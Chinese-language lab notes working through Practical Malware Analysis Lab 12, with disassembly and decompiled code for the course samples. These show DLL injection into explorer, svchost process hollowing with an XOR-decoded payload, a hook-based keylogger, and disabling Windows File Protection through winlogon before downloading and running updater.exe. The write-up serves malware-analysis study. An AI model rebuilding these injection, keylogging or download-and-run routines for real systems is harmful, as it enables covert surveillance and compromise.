恶意代码分析实战 笔记 恶意代码分析实战 Lab12 Ivoripuion 2023-10-16 2023-10-21 Lab12-01 简要分析 Lab12-01.exe首先导入了psapi.dll中的一些函数的地址EnumProcessModules
,GetModuleBaseNameA
以及EnumProcesses
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .text: 00401115 C7 85 E8 FE FF FF 00 00 + mov [ebp +var_118], 0 .text: 0040111F 68 B0 60 40 00 push offset ProcName .text: 00401124 68 A4 60 40 00 push offset LibFileName .text: 00401129 FF 15 24 50 40 00 call ds :LoadLibraryA.text: 0040112F 50 push eax .text: 00401130 FF 15 20 50 40 00 call ds :GetProcAddress.text: 00401136 A3 14 87 40 00 mov dword_408714, eax .text: 0040113B 68 90 60 40 00 push offset aGetmodulebasen .text: 00401140 68 A4 60 40 00 push offset LibFileName .text: 00401145 FF 15 24 50 40 00 call ds :LoadLibraryA.text: 0040114B 50 push eax .text: 0040114C FF 15 20 50 40 00 call ds :GetProcAddress.text: 00401152 A3 0C 87 40 00 mov dword_40870C, eax .text: 00401157 68 80 60 40 00 push offset aEnumprocesses .text: 0040115C 68 A4 60 40 00 push offset LibFileName .text: 00401161 FF 15 24 50 40 00 call ds :LoadLibraryA.text: 00401167 50 push eax .text: 00401168 FF 15 20 50 40 00 call ds :GetProcAddress
然后获取Lab12-01.dll的位置:
1 2 3 4 5 6 7 8 9 10 11 .text: 00401179 51 push ecx .text: 0040117A 68 04 01 00 00 push 104h .text: 0040117F FF 15 1C 50 40 00 call ds :GetCurrentDirectoryA.text: 00401185 68 7C 60 40 00 push offset String2 .text: 0040118A 8D 95 FC FE FF FF lea edx , [ebp +Lab12_dll_addr].text: 00401190 52 push edx .text: 00401191 FF 15 18 50 40 00 call ds :lstrcatA.text: 00401197 68 6C 60 40 00 push offset aLab1201Dll .text: 0040119C 8D 85 FC FE FF FF lea eax , [ebp +Lab12_dll_addr].text: 004011A2 50 push eax .text: 004011A3 FF 15 18 50 40 00 call ds :lstrcatA
获取当前的进程列表:
1 2 3 4 5 .text: 004011AF 51 push ecx .text: 004011B0 68 00 10 00 00 push 1000h .text: 004011B5 8D 95 E4 EE FF FF lea edx , [ebp +Process_Id_Enum].text: 004011BB 52 push edx .text: 004011BC FF 15 10 87 40 00 call Enumprocesses_408710
然后搜索当前的进程列表,判断是否存在explorer进程:
1 2 3 4 .text: 00401226 8B 8D D4 EE FF FF mov ecx , [ebp +var_112C].text: 0040122C 8B 94 8D E4 EE FF FF mov edx , [ebp +ecx *4 +Process_Id_Enum].text: 00401233 52 push edx .text: 00401234 E8 C7 FD FF FF call check_explorer_401000
存在该进程则获取进程句柄:
1 2 3 4 .text: 00401258 51 push ecx .text: 00401259 6A 00 push 0 .text: 0040125B 68 3A 04 00 00 push 43Ah .text: 00401260 FF 15 04 50 40 00 call ds :OpenProcess
在explorer进程中开辟一段空间,将Lab12-01.dll的内容写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text: 0040128C 6A 04 push 4 .text: 0040128E 68 00 30 00 00 push 3000h .text: 00401293 68 04 01 00 00 push 104h .text: 00401298 6A 00 push 0 .text: 0040129A 8B 95 E4 FE FF FF mov edx , [ebp +explorer_handle].text: 004012A0 52 push edx .text: 004012A1 FF 15 14 50 40 00 call ds :VirtualAllocEx............. .text: 004012BE 6A 00 push 0 .text: 004012C0 68 04 01 00 00 push 104h .text: 004012C5 8D 85 FC FE FF FF lea eax , [ebp +Lab12_dll_addr].text: 004012CB 50 push eax .text: 004012CC 8B 8D D8 EE FF FF mov ecx , [ebp +address_in_explorer].text: 004012D2 51 push ecx .text: 004012D3 8B 95 E4 FE FF FF mov edx , [ebp +explorer_handle].text: 004012D9 52 push edx .text: 004012DA FF 15 10 50 40 00 call ds :WriteProcessMemory.text: 004012E0 68 5C 60 40 00 push offset ModuleName .text: 004012E5 FF 15 0C 50 40 00 call ds :GetModuleHandleA
获取kernel32.dll中LoadLibraryA
函数地址:
1 2 3 4 5 6 7 .text: 004012E0 68 5C 60 40 00 push offset kernel32dll .text: 004012E5 FF 15 0C 50 40 00 call ds :GetModuleHandleA.text: 004012EB 89 85 DC EE FF FF mov [ebp +kernel32dll_module], eax .text: 004012F1 68 4C 60 40 00 push offset aLoadlibrarya .text: 004012F6 8B 85 DC EE FF FF mov eax , [ebp +kernel32dll_module].text: 004012FC 50 push eax .text: 004012FD FF 15 20 50 40 00 call ds :GetProcAddress
通过CreateRemoteThread
开启一个在进程explorer中,起始地址为当前系统中LoadLibraryA
函数地址,传递参数为Lab12-01.dll
的线程,以达成将Lab12-01.dll注入到explorer中的目的:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 00401303 89 85 CC EE FF FF mov [ebp +loadlibrary_addr], eax .text: 00401309 6A 00 push 0 .text: 0040130B 6A 00 push 0 .text: 0040130D 8B 8D D8 EE FF FF mov ecx , [ebp +address_in_explorer].text: 00401313 51 push ecx .text: 00401314 8B 95 CC EE FF FF mov edx , [ebp +loadlibrary_addr].text: 0040131A 52 push edx .text: 0040131B 6A 00 push 0 .text: 0040131D 6A 00 push 0 .text: 0040131F 8B 85 E4 FE FF FF mov eax , [ebp +explorer_handle].text: 00401325 50 push eax .text: 00401326 FF 15 08 50 40 00 call ds :CreateRemoteThread
Lab12-01.dll是弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”,每隔一分钟弹出一次的弹窗的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 BOOL __stdcall DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { DWORD ThreadId; if ( fdwReason == 1 ) CreateThread (0 , 0 , sub_10001030, 0 , 0 , &ThreadId); return 1 ; } void __stdcall sub_10001030 (LPVOID lpThreadParameter) { int i; char Parameter; for ( i = 0 ; ; ++i ) { sprintf (&Parameter, aPracticalMalwa, i); CreateThread (0 , 0 , msg_box, &Parameter, 0 , 0 ); Sleep (0xEA60 u); } } DWORD __stdcall msg_box (LPVOID lpThreadParameter) { MessageBoxA (0 , Text, lpThreadParameter, 0x40040 u); return 3 ; }
Q1:在你运行恶意代码可执行文件时, 会发生什么? 会每隔一分钟弹出一个窗口。
Q2:哪个进程会被注入? 进程”explorer”被注入。
Q3:你如何能够让恶意代码停止弹出窗口? 重启explorer进程。
Q4:这个恶意代码样本是如何工作的? Lab12-01.exe通过将Lab12-01.dll注入到explorer进程中,在explorer进程中启动Lab12-01.dll。Lab12-01.dll每隔一分钟弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”的弹窗。
Lab12-02 简要分析 首先判断程序有无参数:
1 2 3 4 5 .text: 004014E0 push ebp .text: 004014E1 mov ebp , esp .text: 004014E3 sub esp , 408h .text: 004014E9 cmp [ebp +argc], 2 .text: 004014ED jnb loc_401573
获得模块句柄:
1 2 .text: 004014FA push 0 .text: 004014FC call ds :GetModuleHandle
获得系统svchost完整路径:
1 2 3 4 5 .text: 00401508 push 400h .text: 0040150D lea eax , [ebp +ApplicationName].text: 00401513 push eax .text: 00401514 push offset aSvchostExe .text: 00401519 call svchost_whole_addr_40149D
从LOCALIZATION中解压一个资源,该资源被简单的加密了:
1 2 .text: 00401527 push ecx .text: 00401528 call get_source_40132C
解密函数:
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl sub_401000 (int a1, unsigned int a2, char a3) { int result; unsigned int i; for ( i = 0 ; i < a2; ++i ) { *(i + a1) ^= a3; result = i + 1 ; } return result; }
然后执行替换进程的操作:
1 2 3 4 .text: 0040153C push edx .text: 0040153D lea eax , [ebp +ApplicationName].text: 00401543 push eax .text: 00401544 call replace_4010EA
replace_4010EA
首先创建一个挂起的进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 .text: 00401148 push edx .text: 00401149 lea eax , [ebp +StartupInfo].text: 0040114C push eax .text: 0040114D push 0 .text: 0040114F push 0 .text: 00401151 push 4 .text: 00401153 push 0 .text: 00401155 push 0 .text: 00401157 push 0 .text: 00401159 push 0 .text: 0040115B mov ecx , [ebp +lpApplicationName].text: 0040115E push ecx .text: 0040115F call ds :CreateProcessA
对进程进行一些初始化:
1 2 3 4 lpContext = VirtualAlloc (0 , 0x2CC u, 0x1000 u, 4u ); lpContext->ContextFlags = 65543 ; if ( !GetThreadContext (ProcessInformation.hThread, lpContext) ) return 0 ;
获取创建的进程的被加载的文件的起始地址:
1 2 3 4 5 6 7 8 9 10 11 .text: 004011B8 push 0 .text: 004011BA push 4 .text: 004011BC lea edx , [ebp +Buffer].text: 004011BF push edx .text: 004011C0 mov eax , [ebp +lpContext].text: 004011C3 mov ecx , [eax +0A4h ].text: 004011C9 add ecx , 8 .text: 004011CC push ecx .text: 004011CD mov edx , [ebp +ProcessInformation. hProcess].text: 004011D0 push edx .text: 004011D1 call ds :ReadProcessMemory
获取ntdll.dll中的NtUnmapViewOfSection
函数地址:
1 2 3 4 5 .text: 004011D7 push offset ProcName .text: 004011DC push offset ModuleName .text: 004011E1 call ds :GetModuleHandleA.text: 004011E7 push eax .text: 004011E8 call ds :GetProcAddress
然后为上述的进程分配一段空间:
1 2 3 4 5 6 7 8 lpBaseAddress = VirtualAllocEx( ProcessInformation.hProcess, v8->OptionalHeader.ImageBase, v8->OptionalHeader.SizeOfImage, 0x3000u, 0x40u); if ( !lpBaseAddress ) return 0;
将一个文件的内容写到进程中:
1 2 3 4 5 6 7 8 9 10 11 WriteProcessMemory (ProcessInformation.hProcess, lpBaseAddress, lpAddress, v8->OptionalHeader.SizeOfHeaders, 0 );for ( i = 0 ; i < v8->FileHeader.NumberOfSections; ++i ){ v4 = (lpAddress + 40 * i + v13->e_lfanew + 248 ); WriteProcessMemory ( ProcessInformation.hProcess, lpBaseAddress + v4->VirtualAddress, lpAddress + v4->PointerToRawData, v4->SizeOfRawData, 0 ); }
最后是进程的替换工作:
1 2 SetThreadContext (ProcessInformation.hThread, lpContext);ResumeThread (ProcessInformation.hThread);
所以主函数中:
1 replace_4010EA (&svchost_addr, lpAddress);
目的是为了将系统的svchost进程替换为从LOCALIZATION节中解压的一个资源。
Q1:这个程序的目的是什么? 通过进程替换的方法,从资源节LOCALIZATION中启动一个程序。
Q2:启动器恶意代码是如何隐蔽执行的? 使用了进程替换的技术。
Q3:恶意代码的负载存储在哪里? 存储在自身PE文件的LOCALIZATION节中。
Q4:恶意负载是如何被保护的? 通过简单的亦或操作进行加密存储到资源节中。
1 2 3 4 5 for ( i = 0 ; i < a2; ++i ){ *(i + a1) ^= a3; result = i + 1 ; }
Q5:字符串列表是如何被保护的? 使用了亦或操作。
Lab12-03 简要分析 Lab12-03.exe首先调用AllocConsole
为调用进程分配一个新的控制台:
1 2 .text: 00401006 mov [ebp +hhk], 0 .text: 0040100D call ds :AllocConsole
调出控制台窗口:
1 2 3 4 5 6 7 8 9 .text: 00401015 push offset ClassName .text: 0040101A call ds :FindWindowA.text: 00401020 mov [ebp +ConsoleWindowClass_handle], eax .text: 00401023 cmp [ebp +ConsoleWindowClass_handle], 0 .text: 00401027 jz short loc_401035.text: 00401029 push 0 .text: 0040102B mov eax , [ebp +ConsoleWindowClass_handle].text: 0040102E push eax .text: 0040102F call ds :ShowWindow
然后通过SetWindowsHookExA
函数使用fn
函数进行挂钩:
1 2 3 4 .text: 00401053 push eax .text: 00401054 push offset fn .text: 00401059 push 0Dh .text: 0040105B call ds :SetWindowsHookExA
hook函数体如下:
1 2 3 4 5 6 LRESULT __stdcall fn (int code, WPARAM wParam, KBDLLHOOKSTRUCT *lParam) { if ( !code && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) ) record_input_4010C7 (lParam->vkCode); return CallNextHookEx (0 , code, wParam, lParam); }
当出现系统按键消息以及普通按键消息就使用record_input_4010C7
函数将消息进行处理。
record_input_4010C7
是一个击键记录器,首先打开”practicalmalwareanalysis.log”:
1 2 .text: 004010E6 push offset FileName .text: 004010EB call ds :CreateFileA
根据刚才hook的消息队列中的vkCode
即输入内容进行记录,写入到”practicalmalwareanalysis.log”文件中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 if ( Buffer < 0x27 || Buffer > 0x40 ) { if ( Buffer <= 0x40 || Buffer >= 0x5B ) { switch ( Buffer ) { case 8 : v4 = strlen (aBackspace); WriteFile (hFile, aBackspace_0, v4, &NumberOfBytesWritten, 0 ); break ; case 9 : WriteFile (hFile, aTab, 5u , &NumberOfBytesWritten, 0 ); break ; case 13 : WriteFile (hFile, aEnter, 8u , &NumberOfBytesWritten, 0 ); break ; case 16 : WriteFile (hFile, aShift, 7u , &NumberOfBytesWritten, 0 ); break ; case 17 : WriteFile (hFile, aCtrl, 6u , &NumberOfBytesWritten, 0 ); break ; case 20 : v5 = strlen (aCapsLock); WriteFile (hFile, aCapsLock_0, v5, &NumberOfBytesWritten, 0 ); break ; case 32 : WriteFile (hFile, asc_405074, 1u , &NumberOfBytesWritten, 0 ); break ; case 46 : WriteFile (hFile, aDel, 5u , &NumberOfBytesWritten, 0 ); break ; case 96 : WriteFile (hFile, a0, 1u , &NumberOfBytesWritten, 0 ); break ; case 97 : WriteFile (hFile, a1, 1u , &NumberOfBytesWritten, 0 ); break ; case 98 : WriteFile (hFile, a2, 1u , &NumberOfBytesWritten, 0 ); break ; case 99 : WriteFile (hFile, a3, 1u , &NumberOfBytesWritten, 0 ); break ; case 100 : WriteFile (hFile, a4, 1u , &NumberOfBytesWritten, 0 ); break ; case 101 : WriteFile (hFile, a5, 1u , &NumberOfBytesWritten, 0 ); break ; case 102 : WriteFile (hFile, a6, 1u , &NumberOfBytesWritten, 0 ); break ; case 103 : WriteFile (hFile, a7, 1u , &NumberOfBytesWritten, 0 ); break ; case 104 : WriteFile (hFile, a8, 1u , &NumberOfBytesWritten, 0 ); break ; case 105 : WriteFile (hFile, a9, 1u , &NumberOfBytesWritten, 0 ); break ; default : break ; } } else { Buffer += 32 ; WriteFile (hFile, &Buffer, 1u , &NumberOfBytesWritten, 0 ); } } else { WriteFile (hFile, &Buffer, 1u , &NumberOfBytesWritten, 0 ); }
挂钩函数完成后,使用GetMessageA
获取消息到程序进程中:
1 2 3 4 5 6 7 8 9 .text:00401064 loc_401064: ; CODE XREF: _main+76 ↓j .text:00401064 push 0 ; wMsgFilterMax .text:00401066 push 0 ; wMsgFilterMin .text:00401068 push 0 ; hWnd .text:0040106 A push 0 ; lpMsg .text:0040106 C call ds:GetMessageA .text:00401072 test eax, eax .text:00401074 jz short loc_401078 .text:00401076 jmp short loc_401064
最后调用UnhookWindowsHookEx
结束挂钩:
1 2 3 4 .text: 00401078 loc_401078: .text: 00401078 mov ecx , [ebp +hhk].text: 0040107B push ecx .text: 0040107C call ds :UnhookWindowsHookEx
Q1:这个恶意负载的目的是什么? 是一个击键记录器,将键盘的输入信息记录到同目录下的”practicalmalwareanalysis.log”文件中。
Q2:恶意负载是如何注入自身的? 使用了挂钩注入,hook了按键消息。
Q3:这个程序还创建了哪些其他文件? 在同目录下创建了”practicalmalwareanalysis.log”文件。
Lab12-04 简要分析 Lab12-04的main
函数首先通过GetProcAddress
方法获取几个函数地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text: 004013AA push offset ProcName .text: 004013AF push offset aPsapiDll .text: 004013B4 call ds :LoadLibraryA.text: 004013BA push eax .text: 004013BB call ds :GetProcAddress.text: 004013C1 mov EnumProcessModules_40312C, eax .text: 004013C6 push offset aGetmodulebasen .text: 004013CB push offset aPsapiDll_0 .text: 004013D0 call ds :LoadLibraryA.text: 004013D6 push eax .text: 004013D7 call ds :GetProcAddress.text: 004013DD mov GetModuleBaseNameA_403128, eax .text: 004013E2 push offset aEnumprocesses .text: 004013E7 push offset aPsapiDll_1 .text: 004013EC call ds :LoadLibraryA.text: 004013F2 push eax .text: 004013F3 call ds :GetProcAddress
EnumProcessModules_40312C
,GetModuleBaseNameA_403128
以及EnumProcesses_403124
分别用于枚举进程模块,模块名称以及枚举进程列表。
然后针对当前的进程列表使用sub_401000
函数进程处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ( !EnumProcesses_403124 (process_enum, 4096 , &v14) ) return 1 ; process_enum_length = v14 >> 2 ; for ( i = 0 ; i < process_enum_length + 1 ; ++i ){ if ( process_enum[i] ) { v19 = sub_401000 (process_enum[i]); if ( v19 ) { v11 = process_enum[i]; break ; } } }
sub_401000
函数用于找到有”winlogon.exe”模块的进程。
sub_401000
函数首先初始化两个字符串:
1 2 strcpy (Str2, "winlogon.exe" );strcpy (Str1, "<not real>" );
打开当前进程,枚举当前进程的模块列表,并获取模块名称:
1 2 3 process_handle = OpenProcess (0x410 u, 0 , process_id); if ( process_handle && EnumProcessModules_40312C (process_handle, &v3, 4 , &v2) ) GetModuleBaseNameA_403128 (process_handle, v3, Str1, 0x104 u);
找到包含”winlogon.exe”的进程函数返回1否则返回0:
1 2 3 4 5 6 7 8 9 10 11 if ( !stricmp (Str1, Str2) ){ CloseHandle (process_handle); result = 1 ; } else { CloseHandle (process_handle); result = 0 ; } return result;
然后调用CreateRemoteThread_401174
:
1 2 3 .text: 004014E4 mov ecx , [ebp +winlogon_id].text: 004014EA push ecx .text: 004014EB call CreateRemoteThread_401174
CreateRemoteThread_401174
内部函数主体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int __cdecl sub_401174 (DWORD dwProcessId) { HMODULE dll; HANDLE hProcess; if ( elevation_authority (aSedebugprivile) ) return 0 ; dll = LoadLibraryA (LibFileName); lpStartAddress = GetProcAddress (dll, 2 ); hProcess = OpenProcess (PROCESS_ALL_ACCESS, 0 , dwProcessId); if ( !hProcess ) return 0 ; CreateRemoteThread (hProcess, 0 , 0 , lpStartAddress, 0 , 0 , 0 ); return 1 ; }
首先进行提权函数elevation_authority(aSedebugprivile)
,然后向winlogon.exe中注入sfc_os.dll中序号为2的函数。
此序号为2的函数是一个导出函数,可以禁用windows的文件保护机制。
进程注入完成后,拼接出字符串”wupdmgr.exe”的系统地址:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 00401506 push 10Eh .text: 0040150B lea edx , [ebp +Buffer].text: 00401511 push edx .text: 00401512 call ds :GetWindowsDirectoryA.text: 00401518 push offset aSystem32Wupdmg_0 .text: 0040151D lea eax , [ebp +Buffer].text: 00401523 push eax .text: 00401524 push offset aSS_0 .text: 00401529 push 10Eh .text: 0040152E lea ecx , [ebp +Dest].text: 00401534 push ecx .text: 00401535 call ds :_snprint
拼接出”winup.exe”的临时地址:
1 2 3 4 5 6 7 8 9 10 11 .text: 00401544 push edx .text: 00401545 push 10Eh .text: 0040154A call ds :GetTempPathA.text: 00401550 push offset aWinupExe .text: 00401555 lea eax , [ebp +var_110].text: 0040155B push eax .text: 0040155C push offset aSS_1 .text: 00401561 push 10Eh .text: 00401566 lea ecx , [ebp +NewFileName].text: 0040156C push ecx .text: 0040156D call ds :_snprintf
将wupdmgr.exe复制到临时地址并命名为”winup.exe”,并在main
最后call sub_4011FC()
:
1 2 3 4 5 6 7 .text: 00401573 add esp , 14h .text: 00401576 lea edx , [ebp +NewFileName].text: 0040157C push edx .text: 0040157D lea eax , [ebp +Dest].text: 00401583 push eax .text: 00401584 call ds :MoveFileA.text: 0040158A call sub_4011FC
sub_4011FC
函数用于注入system32\wupdmgr.exe文件。
首先从Bin #101中提取资源:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 .text: 004012A7 mov [ebp +hModule], eax .text: 004012AA push offset Type .text: 004012AF push offset Name .text: 004012B4 mov eax , [ebp +hModule].text: 004012B7 push eax .text: 004012B8 call ds :FindResourceA.text: 004012BE mov [ebp +hResInfo], eax .text: 004012C4 mov ecx , [ebp +hResInfo].text: 004012CA push ecx .text: 004012CB mov edx , [ebp +hModule].text: 004012CE push edx .text: 004012CF call ds :LoadResource.text: 004012D5 mov [ebp +lpBuffer], eax .text: 004012D8 mov eax , [ebp +hResInfo].text: 004012DE push eax .text: 004012DF mov ecx , [ebp +hModule].text: 004012E2 push ecx .text: 004012E3 call ds :SizeofResource.text: 004012E9 mov [ebp +nNumberOfBytesToWrite], eax .text: 004012EF push 0 .text: 004012F1 push 0 .text: 004012F3 push 2 .text: 004012F5 push 0 .text: 004012F7 push 1 .text: 004012F9 push 40000000h .text: 004012FE lea edx , [ebp +System32Wupdmg_addr].text: 00401304 push edx .text: 00401305 call ds :CreateFileA
将提取的资源写入system32\wupdmgr.exe:
1 2 3 4 5 6 7 8 9 10 11 .text: 0040130B mov [ebp +hFile], eax .text: 00401311 push 0 .text: 00401313 lea eax , [ebp +NumberOfBytesWritten].text: 00401316 push eax .text: 00401317 mov ecx , [ebp +nNumberOfBytesToWrite].text: 0040131D push ecx .text: 0040131E mov edx , [ebp +lpBuffer].text: 00401321 push edx .text: 00401322 mov eax , [ebp +hFile].text: 00401328 push eax .text: 00401329 call ds :WriteFile
这里由于进行了文件保护权限的禁用,所以修改系统文件能成功。
后台启动wupdmgr.exe:
1 2 3 4 .text: 0040133C push 0 .text: 0040133E lea edx , [ebp +System32Wupdmg_addr].text: 00401344 push edx .text: 00401345 call ds :WinExec
首先获得winup.exe的具体路径:
1 2 GetTempPathA (0x10E u, &tmp_addr);snprintf (&Dest, 0x10E u, Format, &tmp_addr, aWinupExe);
运行该程序:
1 2 3 4 .text: 004010A8 push 5 .text: 004010AA lea eax , [ebp +Dest].text: 004010B0 push eax .text: 004010B1 call ds :WinExec
获得wupdmgrd.exe的具体地址:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 004010B7 push 10Eh .text: 004010BC lea ecx , [ebp +var_330].text: 004010C2 push ecx .text: 004010C3 call ds :GetWindowsDirectoryA.text: 004010C9 push offset aSystem32Wupdmg .text: 004010CE lea edx , [ebp +var_330].text: 004010D4 push edx .text: 004010D5 push offset aSS_0 .text: 004010DA push 10Eh .text: 004010DF lea eax , [ebp +CmdLine].text: 004010E5 push eax .text: 004010E6 call ds :_snprintf
下载”http://www.practicalmalwareanalysis.com/updater.exe"并存放到wupdmgrd.exe中:
1 2 3 4 5 6 7 .text: 004010EF push 0 .text: 004010F1 push 0 .text: 004010F3 lea ecx , [ebp +CmdLine].text: 004010F9 push ecx .text: 004010FA push offset aHttpWwwPractic .text: 004010FF push 0 .text: 00401101 call URLDownloadToFileA
启动wupdmgrd.exe:
1 2 3 4 .text: 00401115 push 0 .text: 00401117 lea edx , [ebp +CmdLine].text: 0040111D push edx .text: 0040111E call ds :WinExec
Q1:位置0x401000的代码完成了什么功能? sub_401000
函数用于找到有”winlogon.exe”模块的进程。
Q2:代码注入了哪个进程? 注入了winlogon.exe进程。
Q3:使用LoadlibraryA装载了哪个DLL程序? 装载了sfc_os.dll,用于禁用文件保护。
Q4:传递给CreateRemoteThread调用的第4个参数是什么? 1 2 lpStartAddress = GetProcAddress (dll, 2 ); CreateRemoteThread (winlogon_handle, 0 , 0 , lpStartAddress, 0 , 0 , 0 );
参数为sfc_os.dll中序号为2的函数,该函数为SfcTerminateWatcherThread
,用于禁用windows的文件保护机制。
Q5:二进制主程序释放出了哪个恶意代码? 释放了资源节中的BIN101到system32\wupdmgr.exe中。
Q6:释放出恶意代码的目的是什么? 首先注入winlogon进程,禁用文件保护机制,然后释放恶意代码BIN101到system32\wupdmgr.exe中,并且调用该程序,来远程下载”http://www.practicalmalwareanalysis.com/updater.exe"。